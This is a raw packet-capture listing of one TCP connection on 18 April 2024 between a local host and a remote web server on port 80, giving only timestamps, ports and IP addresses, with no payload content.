Apr 18, 2024 23:40:15.146612883 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146630049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146639109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146648884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146660089 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146668911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146687031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146699905 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146704912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146730900 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146739006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146758080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146775961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146792889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146802902 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146811962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146822929 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146831989 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146850109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146862030 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146868944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146882057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146888018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146900892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146905899 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146927118 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146945953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146945000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146945000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146945000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146964073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146969080 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146987915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147005081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147006989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147023916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147033930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147042990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147052050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147068977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147069931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147084951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147087097 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147100925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147114992 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147118092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147131920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147154093 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147155046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147155046 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147167921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147181988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147185087 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147212982 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147222042 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147227049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147241116 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147241116 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147253990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147263050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147269011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147284031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147284031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147298098 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147305012 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147310972 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147325039 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147339106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147351980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147347927 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147366047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147376060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147376060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147380114 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147392988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147398949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147407055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147420883 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147430897 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147434950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147447109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147449017 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147461891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147466898 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147475958 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147479057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147486925 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147492886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147506952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147506952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147520065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147533894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147533894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147547960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147551060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147561073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147574902 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147591114 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147604942 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147619963 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147628069 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147633076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147646904 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147650003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147660017 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147672892 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147681952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147687912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147700071 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147701025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147715092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147725105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147728920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147742987 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147749901 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147756100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147768021 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147770882 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147783995 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147795916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147800922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147809029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147823095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147835970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147841930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147847891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147861004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147866011 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147875071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147887945 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147895098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147901058 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147914886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147916079 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147927999 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147936106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147942066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147955894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147957087 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147970915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147984028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.147984028 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.147996902 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148008108 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148011923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148025036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148039103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148040056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148051977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148065090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148065090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148077965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148082018 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148091078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148122072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148123026 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148138046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148150921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148164034 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148169041 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148169041 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148176908 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148190975 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148191929 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148204088 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148216963 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148217916 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148231030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148232937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148242950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148256063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148263931 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148268938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148282051 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148288965 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148305893 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148318052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148329973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148329973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148332119 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148344994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148349047 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148356915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148371935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148371935 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148385048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148395061 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148397923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148411036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148418903 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148425102 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148437977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148444891 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148452044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148462057 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148466110 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148478031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148492098 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148499966 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148504972 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148518085 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148530960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148530960 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148544073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148550034 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148557901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148566961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148571014 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148583889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148591995 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148597002 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148610115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148618937 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148622990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148636103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148641109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148648977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148658037 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148663044 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148675919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148675919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148689032 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148703098 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148703098 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148722887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148744106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148776054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148789883 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148802042 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148813963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148816109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148829937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148830891 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148843050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148855925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148869038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148883104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148893118 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148893118 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148893118 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148895025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148912907 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148921967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148922920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148931026 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148938894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148940086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148941994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148942947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148943901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148946047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148947001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148947954 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148948908 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148950100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148951054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148952007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148952961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148953915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148953915 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148956060 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148958921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148961067 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148962975 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148963928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148966074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148967028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148967981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148968935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148972034 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.148986101 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148987055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148988962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148989916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148991108 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148992062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148992062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148993015 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148993969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148994923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148994923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148996115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148998022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148998976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.148999929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149000883 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149002075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149005890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149008036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149008989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149015903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149018049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149019003 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149020910 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149022102 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149023056 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149024010 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149025917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149025917 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149028063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149029016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149029970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149032116 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149033070 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149034977 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149035931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149036884 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149038076 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149040937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149043083 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149045944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149055004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149069071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149077892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149077892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149079084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149091005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149112940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149130106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149153948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149171114 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149178028 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149189949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149199963 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149200916 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149209976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149230003 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149241924 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149249077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149260998 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.149269104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149288893 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.149296045 CEST	49746	80	192.168.2.4	193.233.132.167
